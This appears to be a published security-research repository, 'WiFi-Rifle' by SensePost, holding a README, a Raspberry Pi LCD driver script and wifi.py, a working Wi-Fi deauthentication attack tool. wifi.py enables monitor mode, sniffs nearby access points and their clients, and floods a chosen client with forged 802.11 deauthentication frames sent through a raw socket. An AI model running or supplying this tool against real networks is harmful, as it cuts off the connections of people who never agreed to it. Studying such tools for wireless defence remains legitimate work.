├── README.md ├── gun.py └── wifi.py /README.md: -------------------------------------------------------------------------------- 1 | # WiFi-Rifle 2 | By Domainic White (singe) & Saif El-Sherei @ SensePost (research@sensepost.com) 3 | 4 | # Overview 5 | Creating a wireless rifle de-authentication gun, which utilized a yagi antenna and a Raspberry Pi. The idea was simple: simulate some of the tools available in aircrack-ng wireless hacking suite in one script but without utilizing aircrack-ng in the process. 6 | 7 | # Contents 8 | 9 | It contatins: 10 | 13 | 14 |

Pre-Requisites

15 | 20 | 21 |

Running

22 | Just supply the wireless interface to the main wifi.py script. 23 | 24 |
wifi.py wlan0
25 | 26 | The script features: 27 |
    28 |
  1. Utilize iw commands to place a wireless device into monitor mode, and perform channel hopping to obtain packets from all channels.
  2. 29 |
  3. Use Core Security’s Pcapy to sniff traffic of the monitor device.
  4. 30 |
  5. use Core Security’s Impacket inside threads to parse certain 802.11 packets and extract interesting data from them.
  6. 31 |
  7. A Urwid a ncurses wrapper module to display the interface and handle key presses and callbacks.
  8. 32 |
  9. Use impacket to generate wireless packets and send them through raw sockets.
  10. 33 |
34 | 35 |

License

36 | WiFi-Rifle by SensePost is licensed under a Creative Commons Attribution-ShareAlike 4.0 International License (http://creativecommons.org/licenses/by-sa/4.0/) Permissions beyond the scope of this license may be available at http://sensepost.com/contact us/. 37 |
Impacket is provided under a slightly modified version of the Apache Software License. See (https://github.com/CoreSecurity/impacket/blob/master/LICENSE) for more details. 38 |
Pcapy is provided under a slightly modified version of the Apache Software License. (https://github.com/CoreSecurity/pcapy/blob/master/LICENSE) for more details. 39 |
Urwid is provided under GPL v2 license. See (https://github.com/wardi/urwid/blob/master/COPYING) for more details. 40 | 41 | 42 | 43 | 44 | -------------------------------------------------------------------------------- /gun.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | #-------------------------------------- 3 | # ___ ___ _ ____ 4 | # / _ \/ _ \(_) __/__ __ __ 5 | # / , _/ ___/ /\ \/ _ \/ // / 6 | # /_/|_/_/ /_/___/ .__/\_, / 7 | # /_/ /___/ 8 | # 9 | # lcd_16x2.py 10 | # 16x2 LCD Test Script 11 | # 12 | # Author : Matt Hawkins 13 | # Date : 06/04/2015 14 | # 15 | # http://www.raspberrypi-spy.co.uk/ 16 | # 17 | #-------------------------------------- 18 | 19 | # The wiring for the LCD is as follows: 20 | # 1 : GND 21 | # 2 : 5V 22 | # 3 : Contrast (0-5V)* 23 | # 4 : RS (Register Select) 24 | # 5 : R/W (Read Write) - GROUND THIS PIN 25 | # 6 : Enable or Strobe 26 | # 7 : Data Bit 0 - NOT USED 27 | # 8 : Data Bit 1 - NOT USED 28 | # 9 : Data Bit 2 - NOT USED 29 | # 10: Data Bit 3 - NOT USED 30 | # 11: Data Bit 4 31 | # 12: Data Bit 5 32 | # 13: Data Bit 6 33 | # 14: Data Bit 7 34 | # 15: LCD Backlight +5V** 35 | # 16: LCD Backlight GND 36 | 37 | #import 38 | import RPi.GPIO as GPIO 39 | import time 40 | 41 | # Define GPIO to LCD mapping 42 | LCD_RS = 7 43 | LCD_E = 8 44 | LCD_D4 = 25 45 | LCD_D5 = 17 46 | LCD_D6 = 23 47 | LCD_D7 = 18 48 | LCD_BUTTON = 15 49 | LCD_BUTTON1 = 4 50 | LCD_BUTTON2 = 24 51 | LCD_BUTTON3 = 27 52 | LCD_BUTTON4 = 22 53 | 54 | # Define some device constants 55 | LCD_WIDTH = 16 # Maximum characters per line 56 | LCD_CHR = True 57 | LCD_CMD = False 58 | 59 | LCD_LINE_1 = 0x80 # LCD RAM address for the 1st line 60 | LCD_LINE_2 = 0xC0 # LCD RAM address for the 2nd line 61 | 62 | # Timing constants 63 | E_PULSE = 0.0005 64 | E_DELAY = 0.0005 65 | 66 | def main(): 67 | # Main program block 68 | 69 | GPIO.setmode(GPIO.BCM) # Use BCM GPIO numbers 70 | GPIO.setup(LCD_E, GPIO.OUT) # E 71 | GPIO.setup(LCD_RS, GPIO.OUT) # RS 72 | GPIO.setup(LCD_D4, GPIO.OUT) # DB4 73 | GPIO.setup(LCD_D5, GPIO.OUT) # DB5 74 | GPIO.setup(LCD_D6, GPIO.OUT) # DB6 75 | GPIO.setup(LCD_D7, GPIO.OUT) # DB7 76 | GPIO.setup(LCD_BUTTON,GPIO.IN) 77 | GPIO.setup(LCD_BUTTON1,GPIO.IN, pull_up_down = GPIO.PUD_UP) 78 | GPIO.setup(LCD_BUTTON2,GPIO.IN, pull_up_down = GPIO.PUD_UP) 79 | GPIO.setup(LCD_BUTTON3,GPIO.IN, pull_up_down = GPIO.PUD_UP) 80 | GPIO.setup(LCD_BUTTON4,GPIO.IN, pull_up_down = GPIO.PUD_UP) 81 | 82 | # add GPIO button events 83 | GPIO.add_event_detect(LCD_BUTTON1, GPIO.FALLING, callback=lcdFunction, bouncetime=300) 84 | GPIO.add_event_detect(LCD_BUTTON2, GPIO.FALLING, callback=lcdFunction, bouncetime=300) 85 | GPIO.add_event_detect(LCD_BUTTON3, GPIO.FALLING, callback=lcdFunction, bouncetime=300) 86 | GPIO.add_event_detect(LCD_BUTTON4, GPIO.FALLING, callback=lcdFunction, bouncetime=300) 87 | 88 | # Initialise display 89 | lcd_init() 90 | lcd_string("Wrieless De-Auth Gun",LCD_LINE_1) 91 | lcd_string("PeW PeW !!",LCD_LINE_2) 92 | 93 | while True: 94 | pass 95 | # Send some test 96 | #lcd_string("16x2 LCD Test",LCD_LINE_2) 97 | #time.sleep(3) # 3 second delay 98 | 99 | # Send some text 100 | #lcd_string("Wrieless De-Auth Gun",LCD_LINE_1) 101 | #lcd_string("PeW PeW !!",LCD_LINE_2) 102 | #time.sleep(3) # 3 second delay 103 | 104 | def lcdclear(): 105 | lcd_string("",LCD_LINE_1) 106 | lcd_string("",LCD_LINE_2) 107 | 108 | def lcdFunction(channel): 109 | #print(channel) 110 | lcdclear() 111 | if channel == 4: 112 | lcd_string("BUTTON 1 PRESSED",LCD_LINE_1) 113 | elif channel == 24: 114 | lcd_string("BUTTON 2 PRESSED",LCD_LINE_1) 115 | elif channel == 27: 116 | lcd_string("BUTTON 3 PRESSED",LCD_LINE_1) 117 | elif channel == 22: 118 | lcd_string("BUTTON 4 PRESSED",LCD_LINE_1) 119 | time.sleep(3) 120 | lcdclear() 121 | 122 | 123 | def lcd_init(): 124 | # Initialise display 125 | lcd_byte(0x33,LCD_CMD) # 110011 Initialise 126 | lcd_byte(0x32,LCD_CMD) # 110010 Initialise 127 | lcd_byte(0x06,LCD_CMD) # 000110 Cursor move direction 128 | lcd_byte(0x0C,LCD_CMD) # 001100 Display On,Cursor Off, Blink Off 129 | lcd_byte(0x28,LCD_CMD) # 101000 Data length, number of lines, font size 130 | lcd_byte(0x01,LCD_CMD) # 000001 Clear display 131 | time.sleep(E_DELAY) 132 | 133 | def lcd_byte(bits, mode): 134 | # Send byte to data pins 135 | # bits = data 136 | # mode = True for character 137 | # False for command 138 | 139 | GPIO.output(LCD_RS, mode) # RS 140 | 141 | # High bits 142 | GPIO.output(LCD_D4, False) 143 | GPIO.output(LCD_D5, False) 144 | GPIO.output(LCD_D6, False) 145 | GPIO.output(LCD_D7, False) 146 | if bits&0x10==0x10: 147 | GPIO.output(LCD_D4, True) 148 | if bits&0x20==0x20: 149 | GPIO.output(LCD_D5, True) 150 | if bits&0x40==0x40: 151 | GPIO.output(LCD_D6, True) 152 | if bits&0x80==0x80: 153 | GPIO.output(LCD_D7, True) 154 | 155 | # Toggle 'Enable' pin 156 | lcd_toggle_enable() 157 | 158 | # Low bits 159 | GPIO.output(LCD_D4, False) 160 | GPIO.output(LCD_D5, False) 161 | GPIO.output(LCD_D6, False) 162 | GPIO.output(LCD_D7, False) 163 | if bits&0x01==0x01: 164 | GPIO.output(LCD_D4, True) 165 | if bits&0x02==0x02: 166 | GPIO.output(LCD_D5, True) 167 | if bits&0x04==0x04: 168 | GPIO.output(LCD_D6, True) 169 | if bits&0x08==0x08: 170 | GPIO.output(LCD_D7, True) 171 | 172 | # Toggle 'Enable' pin 173 | lcd_toggle_enable() 174 | 175 | def lcd_toggle_enable(): 176 | # Toggle enable 177 | time.sleep(E_DELAY) 178 | GPIO.output(LCD_E, True) 179 | time.sleep(E_PULSE) 180 | GPIO.output(LCD_E, False) 181 | time.sleep(E_DELAY) 182 | 183 | def lcd_string(message,line): 184 | # Send string to display 185 | 186 | 187 | 188 | 189 | message = message.ljust(LCD_WIDTH," ") 190 | 191 | lcd_byte(line, LCD_CMD) 192 | 193 | for i in range(LCD_WIDTH): 194 | lcd_byte(ord(message[i]),LCD_CHR) 195 | 196 | if __name__ == '__main__': 197 | 198 | try: 199 | main() 200 | except KeyboardInterrupt: 201 | pass 202 | finally: 203 | lcd_byte(0x01, LCD_CMD) 204 | lcd_string("Goodbye!",LCD_LINE_1) 205 | GPIO.cleanup() 206 | -------------------------------------------------------------------------------- /wifi.py: -------------------------------------------------------------------------------- 1 | import array 2 | import pcapy 3 | import impacket 4 | from impacket import ImpactDecoder 5 | import sys, time, random, os, signal 6 | from multiprocessing import Process, Queue 7 | import binascii 8 | import threading 9 | import curses 10 | import urwid 11 | import random 12 | import socket 13 | 14 | CLIENTS = {} 15 | SSIDs = {} 16 | MAC = {} 17 | RTD = ImpactDecoder.RadioTapDecoder() 18 | MAX_LEN = 1514 # max size of packet to capture 19 | PROMISCUOUS = 1 # promiscuous mode? 20 | READ_TIMEOUT = 100 # in milliseconds 21 | PCAP_FILTER = '' # empty => get everything (or we could use a BPF filter) 22 | MAX_PKTS = -1 # number of packets to capture; -1 => no limit 23 | 24 | def channel_hopper(): 25 | while True: 26 | try: 27 | channel = random.randrange(1,14) 28 | #channel = random.choice([1,2,6,11,9]) 29 | os.system("iw dev %s set channel %d" % ("mon0", channel)) 30 | time.sleep(1) 31 | except KeyboardInterrupt: 32 | break 33 | 34 | def getBssid(arr): 35 | #Get Binary array to MAC addr format 36 | out = [] 37 | s = binascii.hexlify(arr) 38 | t = iter(s) 39 | st = ':'.join(a+b for a,b in zip(t,t)) 40 | return st 41 | 42 | def signal_handler(signal, frame): 43 | # exit routine 44 | os.system("iw mon0 del") 45 | p.terminate() 46 | p.join() 47 | raise urwid.ExitMainLoop() 48 | sys.exit(0) 49 | 50 | def deauth_packet_generator(channel1,channel2,bssid,client=None): 51 | # Dot11 Deauth packet generation using impacket 52 | broadcast = ret_binary("ff:ff:ff:ff:ff:ff") 53 | if client == None: 54 | client = broadcast 55 | 56 | # Create RadioTap Frame 57 | radio = impacket.dot11.RadioTap() 58 | radio.set_channel(channel1,channel2) # work on channel 59 | 60 | # Create Dot11 Frame 61 | dot11 = impacket.dot11.Dot11(FCS_at_end = False) 62 | dot11.set_type_n_subtype(impacket.dot11.Dot11Types.DOT11_TYPE_MANAGEMENT_SUBTYPE_DEAUTHENTICATION) 63 | #dot11.set_fromDS(0) 64 | #dot11.set_toDS(0) 65 | #dot11.set_moreFrag(0) 66 | #dot11.set_retry(0) 67 | #dot11.set_powerManagement(0) 68 | #dot11.set_moreData(0) 69 | #dot11.set_protectedFrame(0) 70 | #dot11.set_order(0) 71 | 72 | # create Managment Frame 73 | m = impacket.dot11.Dot11ManagementFrame() 74 | sequence = random.randint(0, 4096) 75 | #m.set_duration(0) 76 | m.set_source_address(bssid) 77 | m.set_bssid(bssid) 78 | m.set_destination_address(client) 79 | #m.set_fragment_number(0) 80 | m.set_sequence_number(sequence) 81 | 82 | # De-auth Request Frame 83 | d = impacket.dot11.Dot11ManagementDeauthentication() 84 | 85 | m.contains(d) 86 | dot11.contains(m) 87 | radio.contains(dot11) 88 | 89 | return radio.get_packet() 90 | 91 | def packet_handler(header, data): 92 | radio_packet = RTD.decode(data) 93 | channel = radio_packet.get_channel() 94 | dot11 = radio_packet.child() 95 | 96 | # Data Frames Parser 97 | 98 | if dot11.get_type() == impacket.dot11.Dot11Types.DOT11_TYPE_DATA: 99 | base = dot11.child() 100 | ip =getBssid(base.get_address1()) 101 | client = getBssid(base.get_address3()) 102 | bssid = getBssid(base.get_address2()) 103 | if bssid == client or client == ip: 104 | pass 105 | else: 106 | bssid = str(bssid) 107 | client = str(client) 108 | if MAC.has_key(bssid): 109 | MAC[bssid][0].append(ip) 110 | MAC[bssid][0].append(client) 111 | else: 112 | MAC[bssid] = [[client,ip],channel] 113 | 114 | # Managment Frame parser 115 | 116 | elif dot11.get_type() == impacket.dot11.Dot11Types.DOT11_TYPE_MANAGEMENT: 117 | bssid_base = dot11.child() 118 | base = dot11.child().child() 119 | if base.__class__ == impacket.dot11.Dot11ManagementProbeRequest or base.__class__ == impacket.dot11.Dot11ManagementProbeResponse or base.__class__ == impacket.dot11.Dot11ManagementBeacon: 120 | #SSIDs[getBssid(bssid_base.get_bssid())] = base.get_ssid() 121 | if SSIDs.has_key(base.get_ssid()): 122 | pass 123 | else: 124 | ssid = str(base.get_ssid()) 125 | bssid = str(getBssid(bssid_base.get_bssid())) 126 | if bssid == "ff:ff:ff:ff:ff:ff": 127 | pass 128 | else: 129 | pr.p_d(ssid,bssid) 130 | else: 131 | pass 132 | 133 | def runThreads(header,data): 134 | global p2 135 | packet_handler(header,data) 136 | 137 | def exit_on_q(key): 138 | # press Q,q to quit and run exit routine 139 | if key in ('q', 'Q'): 140 | signal_handler(1,1) 141 | 142 | def ret_binary(arr): 143 | # return binary array from hex string 144 | arr = arr 145 | arr = arr.split(':') 146 | hx = ''.join(arr) 147 | hx = hx.decode("hex") 148 | return array.array('B',hx) 149 | 150 | def sniffer(): 151 | #que = q 152 | # pcapy raw sniffer 153 | c = pcapy.open_live("mon0", MAX_LEN, PROMISCUOUS, READ_TIMEOUT) 154 | c.loop(-1, runThreads) 155 | 156 | 157 | def magic(): 158 | #global p1 159 | # start sniffer loop in a thread 160 | t2 = threading.Thread(target=sniffer) 161 | t2.daemon = True 162 | t2.start() 163 | #p1 = Process(target=sniffer) 164 | #p1.start() 165 | 166 | 167 | def send_packet(pkt,num,bar): 168 | # create a L2 raw_socket, binding to interface and sending packet 169 | p = pkt 170 | n = num 171 | s = socket.socket(socket.AF_PACKET,socket.SOCK_RAW) 172 | s.bind(('mon0',0)) 173 | for i in range(num): 174 | s.send(str(p)) 175 | bar.set_completion(bar.current+1) 176 | #pr.pb.set_completion(pr.pb.current+1) 177 | s.close() 178 | 179 | 180 | class Col(urwid.Columns): 181 | # SSIDs Box with 'enter' key handler to get clients to the selected AP 182 | def keypress(self,size,key): 183 | #self.selectable = True 184 | self.bssid = self.contents[1][0].text 185 | self.ssid = SSIDs[self.bssid] 186 | if key != 'enter': 187 | return super(Col, self).keypress(size, key) 188 | 189 | if MAC.has_key(self.bssid): 190 | del pr.walker2[:] 191 | clients = list(set(MAC[self.bssid][0])) 192 | for x in clients: 193 | CLIENTS[x] = self.bssid 194 | pg = urwid.ProgressBar('pg normal','pg complete',done=64) 195 | #pg.selectable = True 196 | pr.walker2.append(Col2([('weight',2,urwid.SelectableIcon(x,cursor_position=0)),('weight',2,pg)])) 197 | else: 198 | del pr.walker2[:] 199 | pr.console(u'Not Found Col') 200 | pr.walker2.append(Box2(u'Not Found Col',cursor_position=0)) 201 | 202 | 203 | class Col2(urwid.Columns): 204 | # Clients Box with 'enter' key handler to start De-Auth 205 | def keypress(self,size,key): 206 | if key != 'enter': 207 | return super(Col2, self).keypress(size, key) 208 | client = self.contents[0][0].text 209 | bssid = CLIENTS[client] 210 | bin_bssid = ret_binary(bssid) 211 | bin_client = ret_binary(client) 212 | channel = MAC[bssid][1] 213 | #pr.walker2.append(Box2(bssid,cursor_position=0)) 214 | pkt = deauth_packet_generator(channel[0],channel[1],bin_bssid,bin_client) 215 | self.contents[1][0].set_completion(0) 216 | send_packet(pkt,64,self.contents[1][0]) 217 | pr.console(u'De-Authing client '+ client +' from BSSID '+bssid+' on Channel '+str(channel)) 218 | pr.console(u'Done') 219 | 220 | class Box2(urwid.SelectableIcon): 221 | # Clients Box with 'enter' key handler to start De-Auth 222 | def keypress(self,size,key): 223 | if key != 'enter': 224 | return super(Box2, self).keypress(size, key) 225 | 226 | bssid = CLIENTS[self.text] 227 | bin_bssid = ret_binary(bssid) 228 | bin_client = ret_binary(self.text) 229 | channel = MAC[bssid][1] 230 | #pr.walker2.append(Box2(bssid,cursor_position=0)) 231 | pkt = deauth_packet_generator(channel[0],channel[1],bin_bssid,bin_client) 232 | send_packet(pkt,64) 233 | pr.console(u'De-Authing client '+ self.text +' from BSSID '+bssid+' on Channel '+str(channel)) 234 | pr.console(u'Done') 235 | 236 | 237 | class MainProg(object): 238 | def __init__(self): 239 | # craete interface with Frame and the body is made of 3 columns and wrap the columns in lineBoxes to have borders 240 | self.walker1 = urwid.SimpleFocusListWalker([]) 241 | self.walker3 = urwid.SimpleFocusListWalker([]) 242 | self.walker2 = urwid.SimpleFocusListWalker([]) 243 | self.div = urwid.Divider() 244 | self.box = urwid.ListBox(self.walker1) 245 | self.line = urwid.LineBox(self.box, title='SSID', tlcorner=u'\u250c', tline=u'\u2500', lline=u'\u2502', trcorner=u'\u2510', blcorner=u'\u2514', rline=u'\u2502', bline=u'\u2500', brcorner=u'\u2518') 246 | self.box2 = urwid.ListBox(self.walker2) 247 | self.line2 = urwid.LineBox(self.box2, title='Client', tlcorner=u'\u250c', tline=u'\u2500', lline=u'\u2502', trcorner=u'\u2510', blcorner=u'\u2514', rline=u'\u2502', bline=u'\u2500', brcorner=u'\u2518') 248 | self.box3 = urwid.ListBox(self.walker3) 249 | self.line3 = urwid.LineBox(self.box3, title='BSSID', tlcorner=u'\u250c', tline=u'\u2500', lline=u'\u2502', trcorner=u'\u2510', blcorner=u'\u2514', rline=u'\u2502', bline=u'\u2500', brcorner=u'\u2518') 250 | self.pile = urwid.Columns([('weight',2, self.line),('weight',2, self.line2)]) 251 | self.con = urwid.Text([u'Console']) 252 | self.lineCon = urwid.LineBox(self.con, title='', tlcorner=u'\u250c', tline=u'\u2500', lline=u'\u2502', trcorner=u'\u2510', blcorner=u'\u2514', rline=u'\u2502', bline=u'\u2500', brcorner=u'\u2518') 253 | self.title = urwid.Text([u'Wireless De-atuth PeW PeW !!!']) 254 | self.lineTitle = urwid.LineBox(self.title, title='', tlcorner=u'\u250c', tline=u'\u2500', lline=u'\u2502', trcorner=u'\u2510', blcorner=u'\u2514', rline=u'\u2502', bline=u'\u2500', brcorner=u'\u2518') 255 | self.top = urwid.Frame(self.pile, footer=self.lineCon,header=self.lineTitle) 256 | self.editing = False 257 | self.main() 258 | self.index = 0 259 | #signal.signal(signal.SIGINT, signal_handler) 260 | 261 | 262 | def main(self): 263 | global p 264 | # program Main loop 265 | self.console('Console: Initializing Monitor device ....') 266 | interface = sys.argv[1] 267 | # Enable monitor mode on device 268 | #os.system("iw dev %s interface add mon0 type monitor && ifconfig mon0 down" % interface) 269 | os.system("ifconfig %s down" % interface) 270 | os.system("iw dev %s interface add mon0 type monitor" % interface) 271 | time.sleep(5) 272 | os.system("ifconfig mon0 down") 273 | os.system("iw dev mon0 set type monitor") 274 | os.system("ifconfig mon0 up") 275 | 276 | 277 | self.console('Console: Initializing Channel Hopper ....') 278 | # start the channel hopper 279 | p = Process(target = channel_hopper) 280 | p.start() 281 | 282 | # start the sniffer 283 | self.console('Start Capturing Packets from Monitor device ....') 284 | magic() 285 | 286 | def p_d(self,ssid,bssid): 287 | # save ssids, bssids to dict 288 | if SSIDs.has_key(bssid): 289 | pass 290 | else: 291 | SSIDs[bssid] = ssid 292 | self.walker1.append(Col([('weight',2,urwid.Text(ssid)),('weight',2,urwid.SelectableIcon(bssid))])) 293 | loop.draw_screen() 294 | 295 | def console(self, message): 296 | # prgoram console at footer 297 | self.msg = message 298 | self.con.set_text('Console: '+self.msg) 299 | 300 | if __name__ == '__main__': 301 | 302 | if len(sys.argv) != 2: 303 | print "Usage %s monitor_interface" % sys.argv[0] 304 | sys.exit(1) 305 | else: 306 | pr = MainProg() 307 | palette = [ 308 | ('reversed', 'standout', ''), 309 | ('pg normal', 'white','black','standout'), 310 | ('pg complete','white', 'dark magenta'), 311 | ] 312 | # try: 313 | loop = urwid.MainLoop(pr.top, palette, unhandled_input=exit_on_q) 314 | loop.run() 315 | # except Exception as e: 316 | #signal_handler(1,1) 317 | 318 | --------------------------------------------------------------------------------